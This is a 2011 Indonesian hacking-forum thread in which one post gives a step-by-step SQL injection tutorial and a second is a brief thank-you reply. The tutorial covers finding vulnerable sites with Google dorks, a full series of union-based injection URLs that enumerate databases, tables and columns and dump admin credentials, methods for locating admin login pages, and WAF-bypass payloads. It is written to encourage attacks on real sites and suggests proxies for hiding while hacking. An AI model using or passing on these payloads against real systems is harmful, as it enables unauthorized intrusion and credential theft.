V.I.P FORUM
Would you like to react to this message? Create an account in a few clicks or log in to continue.
HELLO, Visitor

[ Tut ] Tutorial Injection secara rinci dan dasar SQL

2 posters

Go down

[ Tut ] Tutorial Injection secara rinci dan dasar SQL Empty [ Tut ] Tutorial Injection secara rinci dan dasar SQL

Post by sampurna Wed Oct 19, 2011 12:28 pm

Pasti sebagian dari Anda pasti tau apa itu SQL Injection..

Apa itu SQL Injection?

Sebelum kita melangkah lebih jauh setidaknya kita mengetahui dahulu apa itu SQL Injection.
SQL Injection, pada dasarnya adalah sebuah injeksi kode yang mengeksploitasi daerah rentan terhadap SQL Injection. Kode disuntikkan akan mengeksploitasi Database, untuk mendapatkan Informasi. Seperti Email, Nama pengguna, Sandi, dll
Dalam Tutorial ini, kita akan mencari kredensial Panel Admin. Perlu diketahui, saya berkata Admin Panel, bukan panel kontrol. Sementara melakukan sebuah SQL Injection, Anda mungkin tidak selalu menemukan apa yang Anda cari. Beberapa situs telah mengamankan informasi penting, sehingga tidak akan berkompromi dengan mudah.

Mencari Target Site Vuln

Anda dapat menemukan situs yang rentan menggunakan Dorks. Gunakan google, itu cara terbaik. Dork adalah sesuatu seperti ini :
Salah Satu dork:

inurl:news.php?id=
inurl:event.php?id=
inurl:order.php?id=
inurl:user.php?id=
inurl:restaurant.php?id=
inurl:buy.php?id=

Ada Ratusan Ribuan orang lain, dan ada juga beberapa Posts sekitar Dorks, sehingga Anda bisa membaca site jika Anda ingin mencari situs yang baik untuk mengeksploitasi dengan SQL Injection.

Memanfaatkan Database

Apakah Anda semua siap untuk bersenang-senang dari SQL Injection? Oke, jadi pertama, kita perlu menguji situs untuk melihat apakah ia rentan terhadap SQL Injection. Saya tidak akan menggunakan nama situs online untuk Contoh saya:
Code:
http://www.target.com/event.php?id=1
Situs kami HAS memiliki '=' di dalamnya. Jika kita tidak dapat menggunakan SQL Injection untuk mengeksploitasi Database. Jadi setelah 1 (Dalam ID) menempatkan "sehingga terlihat seperti ini:
Code:
http://www.target.com/event.php?id=1'
Sekarang jika kita mendapatkan sebuah MySQL error, maka situs kita mungkin rentan. Jika itu hanya refresh halaman normal, maka situs kita tidak rentan

Mencari Jumlah Column

Sekarang, kita tahu situs kami rentan terhadap SQL Injection, jadi kami ingin mulai mendapatkan Info keluar dari Database. Tapi sebelum kita melakukan itu, kita harus mencari tahu YANG kolom rentan terhadap SQL Injection. Tapi kita tidak tahu berapa banyak kolom yang belum ada, jadi kita perlu yang pertama. Untuk menemukan jumlah kolom kita perlu menggunakan perintah yang disebut 'Order By'. Perintah ini akan membantu kita menentukan berapa banyak kolom yang ada. Jadi URL Anda sekarang harus terlihat seperti ini:

Code:
http://www.target.com/event.php?id=1 order by 2--
Sekarang jika situs hanya refresh untuk keadaan normal itu, itu bagus.
Jadi kita tidak mendapatkan error, jadi kita harus terus sampai kita mendapatkan error.

Code:
http://www.target.com/event.php?id=1 order by 3--
*NO ERROR*
 
http://www.target.com/event.php?id=1 order by 4--
*NO ERROR*
 
http://www.target.com/event.php?id=1 order by 5--
*ERROR*

Oke, kita punya kesalahan pada kolom 5. Itu berarti hanya ada 4 kolom. Karena kolom 5 tidak ada, kita punya kesalahan.

PENTING !!
Tanda hubung dua itu (--) sangat penting untuk menjalankan perintah. Dua tanda hubung akan memberitahu situs bahwa itu perintah, dan akan mengeksekusi. Jadi kita PERLU mereka pada akhir setiap perintah.

Menemukan Column yang Rentan

Kami sekarang memiliki jumlah kolom. Tapi kita hanya perlu mengetahui mana yang rentan terhadap eksekusi perintah SQL. Jadi kita akan menggunakan perintah yang disebut "union select". Ini adalah apa yang akan menemukan kolom rentan. Jadi kita perlu menambahkan perintah ke URL kami. Setelah perintah itu, kita perlu menambahkan jumlah kolom yang ada. Jadi sekarang URL kita harus terlihat seperti ini:
Code:
http://www.target.com/event.php?id=-1 union select 1,2,3,4--

Beberapa nomor akan muncul pada layar Anda. Itu adalah normal, dan merupakan pertanda baik (yg jelas bukan nomor togel :p ). Angka-angka, adalah jumlah kolom yang rentan terhadap SQL Injection. Jadi mereka adalah kolom kita perlu menjalankan perintah kita masuk Jadi katakanlah bahwa kolom 2 muncul di Page. Kami akan menjalankan perintah dalam kolom 2

PENTING !
Code:
Anda HARUS memiliki - setelah =. Yang sangat penting.

Menentukan Versi Database MySql

Mengapa kita membutuhkan versi Database MySql??
Karena versi akan membiarkan kita tahu perintah apa yang bisa kita gunakan. Saya menganggap versi 5 lebih mudah. Jadi saya akan memberitahu Anda bagaimana untuk mendapatkan informasi dari Database dengan versi 5.

Jadi kolom kita rentan adalah 2. Jadi di sanalah kita akan mengeksekusi kode. Ganti 2 dengan perintah Anda. Perintahnya adalah: @@version. Jadi URL Anda sekarang harus terlihat seperti ini:

Code:
http://www.target.com/event.php?id=-1 union select 1,@@version,3,4--
Sekarang harus menampilkan Versi pada halaman. Seharusnya terlihat seperti ini:
5.1.47-community-log
Angka-angka yang dibelakangnya tidak penting, asalkan mereka minimal 5, atau lebih

Menemukan Nama Database
Nama Database adalah penting. Setidaknya jika kita ingin melihat di Tabel yang akan berisi informasi. Untuk menemukan nama database, ada 2 cara paling umum. Mereka berdua akan bekerja. Perintah pertama adalah:

Code:
http://www.target.com/event.php?id=-1 union select 1,group_concat(schema_name),3,4 from information_schema.schemata--
Terkadang, perintah yang akan menunjukkan lebih dari nama database. Tapi semua yang kita inginkan adalah nama database, sehingga perintah yang lebih baik prefferably akan:

Code:
http://www.target.com/event.php?id=-1 union select 1,concat(database()),3,4--
Sekarang Anda akan menunjukkan nama Database. Selamat, lihat seberapa jauh kita sudah eksplorasi database target. Sekarang untuk hal-hal yang baik!

Melihat Tabel Database
Tabel adalah apa yang berisi informasi. Itulah mengapa kita perlu untuk melihatnya. Jadi kita bisa mendapatkan informasi yang kita cari.

Perintah untuk melihat tabel adalah lebih lama dari beberapa kita lihat sudah. Jadi, inilah yang URL Anda sekarang harus terlihat seperti:
Code:
http://www.target.com/event.php?id=-1 union select 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()--
Tekan enter, dan Tabel di Database akan ditampilkan.

Melihat Informasi Tabel
Kemungkinan besar akan diberikan banyak tabel. Terserah Anda untuk memutuskan mana yang berisi informasi yang berharga.

Jadi dapat di masa-masa sulit untuk memilih tabel yang akan berisi informasi penting. Namun, kita tidak akan selalu membutuhkan username, karena kemungkinan besar "admin". Tapi password, adalah apa yang kita BENAR-BENAR butuhkan. Jadi pilihlah meja. Yang saya akan menggunakan untuk contoh ini akan menjadi "admin_credentials". Ini sangat jarang bahwa Anda akan mendapatkan Tabel dengan judul pada dasarnya membuat Anda memilih yang satu itu. Jadi saat ini menggunakan query / perintah:
Code:
http://www.target.com/event.php?id=-1 union select 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name="admin_credentials"
Untuk permintaan itu, Anda akan hampir SELALU mendapatkan error. Jadi sebagai gantinya, mengkonversi 'admin_credentials' untuk dijadikan Hex.

Untuk melakukan itu, saya merekomendasikan situs ini:
Code:
http://www.swingnote.com/tools/texttohex.php
http://www.string-functions.com/string-hex.aspx
Setelah Anda sudah dikonversi Nama Tabel Anda untuk Hex, Anda akan perlu menggunakan query lagi, tapi dengan Hex. Jadi seharusnya terlihat seperti ini:

Code:
http://www.target.com/event.php?id=-1 union select 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name=0x61646d696e5f63726564656e7469616c73

PENTING
Anda HARUS memiliki 0x setelah = 0x akan membiarkan situs tahu bahwa Anda mengeksekusi perintah dengan HEX. Jadi kritis. Jika tidak, TIDAK akan bekerja.
Misal :
Code:
0x[code yang diubah menjadi hex]
0x61646d696e5f63726564656e7469616c73


Menampilkan Isi
Masih akan ada beberapa tabel dalam tabel yang Anda pilih. Jadi Anda perlu untuk mendapatkan informasi, dan yang biasanya akan berarti tabel selamat tinggal, dan akses Panel Admin HELLO.

Mari kita mengatakan bahwa saya adalah menampilkan "userpword" dan "user". Mereka adalah hanya kolom yang menampilkan untuk saya (Namun, ini akan sangat jarang). Jadi kita perlu untuk mengakses informasi di sana. Kita dapat mengakses mereka berdua pada waktu sebenarnya. Tapi jika Anda lebih satu per satu waktu, gunakan query ini:
Code:
http://www.target.com/event.php?id=-1 union select 1,group_concat(userpword),3,4 FROM DBName.admin_credentials--
Yang akan menampilkan informasi. Mana dikatakan dbname, Anda harus menempatkan nama Database Anda punya sebelumnya dalam tutorial ini. Sebuah mana dikatakan admin_credentials, Anda perlu menempatkan tabel yang Anda di dalam.

Sekarang kita harus memiliki semua credentials, jadi kami hanya perlu menemukan Admin Login.

Finding the AdminLogin

Biasanya, semua yang Anda harus lakukan adalah secara cepat melihat dengan menambahkan small / admin atau / index.php /.

Seperti ini:
Code:

[You must be registered and logged in to see this link.]
Dan ada banyak lagi. Pada kali, Anda tidak akan menemukan Login, sehingga Anda akan membutuhkan "Admin Login" finder. Ada beberapa site yang menyediakan, dan ada juga yang versi download.
Saya sarankan melakukannya secara manual, karena ada kebanggaan sendiri setelah hack Website.

WAF By-Passing

Anda mungkin bertanya, apa WAF By-Passing?
Pertama, saya akan menjelaskan WAF By-Passing.

WAF singkatan Firewall Aplikasi Web. Sebuah Firewall Aplikasi Web adalah diletakkan di tempat, sehingga website mereka akan aman dari serangan, seperti SQL Injection, XSS, dan metode eksploitasi lebih. Para WAF filter perintah dimasukkan melalui Database, dan mendeteksi attakcs terhadap situs tersebut.

Sebuah Kesalahan WAF akan terlihat seperti ini:

FORBIDDEN

You are not allowed to access "" on this server
*INFORMATION ABOUT THE WEBSERVER IS HERE*

Jika kita mendapatkan error bahwa ketika kita menggunakan Union Select, yang berarti bahwa ada satu set WAF di webserver. Jadi, WAF By-Passing, kita harus mengubah Sintaks dari perintah, sehingga filter tidak mendeteksi serangan.

Ada beberapa metode tentang bagaimana untuk by-pass WAF, saya akan menjelaskan beberapa:

Pertama
Anda tidak perlu khawatir tentang mendapatkan jumlah kolom, Firewall tidak menghalangi itu, bagaimanapun, DO blok perintah union select, jadi di sini adalah metode pertama, tentang bagaimana By Pass Firewall.

Kode kita akan menggunakan akan menggunakan berbeda "Simbol" oleh-pass filter. Ini terlihat seperti ini:
Code:
http://www.target.com/event.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3--
Itu akan by-pass Firewall. Namun, kami masih memiliki beberapa langkah. Karena kita masih memerlukan informasi lain dari tabel dan kolom.

Setelah selesai, kita akan mendapatkan informasi dari kolom rentan, jadi inilah yang seharusnya terlihat seperti:
Code:
http://www.target.com/event.phpid=-1 /*!UNION*/ /*!SELECT*/ 1,CoNcAt(version()),3--
Untuk membuat tutorial ini sedikit lebih pendek, kita akan meraih lebih banyak informasi dengan hanya satu perintah. Jadi mari kita coba seperti ini:

Code:
http://www.target.com/event.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,CoNcAt(version(),0x3a,user(),0x3a,database(),0x3a),3--
Sekarang, itu harus menampilkan informasi yang kami meminta IN ORDER. Jadi akan menunjukkan Versi, maka Username, maka nama Database.

Sekarang kita akan mendapatkan nama tabel. Jadi kita akan kembali, harus by-pass WAF tersebut. Kali ini, perintah akan terlihat seperti ini:

Code:
http://www.target.com/event.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,Group_Concat(table_name),3 from /*!information_schema*/.tables where table_schema=database()--
Sekarang, yang akan menampilkan semua tabel. Sekarang mengakses informasi tabel, kita akan menggunakan command ini untuk by-pass firewall:

Code:
http://www.target.com/event.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,Group_Concat(column_name),3 from /*!information_schema*/.columns where table_name=0x*HEX CODE OF THE TABLE NAME*--
Sekarang kita melihat informasi dari tabel. Sekarang kita ingin dump kolom, jadi di sini yang akan kita gunakan:
Code:
http://www.target.com/event.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,Group_Concat(*COLUMN NAME HERE*),3 from *DATABASE NAME HERE*.*TABLE NAME HERE*
Dan itu semua untuk WAF By-Passing. Mudah-mudahan sekarang, Anda adalah seorang ahli SQL Injection :).

Terakhir
SQL Injection ADALAH PERBUATAN MELANGGAR HUKUM. Jadi apapun yang Anda lakukan dengan itu, adalah tanggungjawab Anda, bukan saya. Anda bisa mendapatkan di banyak kesulitan untuk SQL Injection. Check out Proxy dan bagian Socks untuk perlindungan sementara hack sebuah situs.
sampurna
sampurna
Calon Penduduk Cyber
Calon Penduduk Cyber

Jumlah posting : 22
Points : 4823
Reputation : 2
Join date : 16.10.11
Lokasi : unknown

http://www.zone-h.org/archive/notifier=BL4ckc0d1n6

Kembali Ke Atas Go down

[ Tut ] Tutorial Injection secara rinci dan dasar SQL Empty Re: [ Tut ] Tutorial Injection secara rinci dan dasar SQL

Post by RodDick Wed Oct 19, 2011 4:50 pm

nice inpo nice inpo nice inpo
RodDick
RodDick
Calon Penduduk Cyber
Calon Penduduk Cyber

Capricorn

Jumlah posting : 92
Points : 5045
Reputation : 3
Join date : 10.10.11
Age : 33
Lokasi : Malang

Kembali Ke Atas Go down

Kembali Ke Atas

- Similar topics

 
Permissions in this forum:
Anda tidak dapat menjawab topik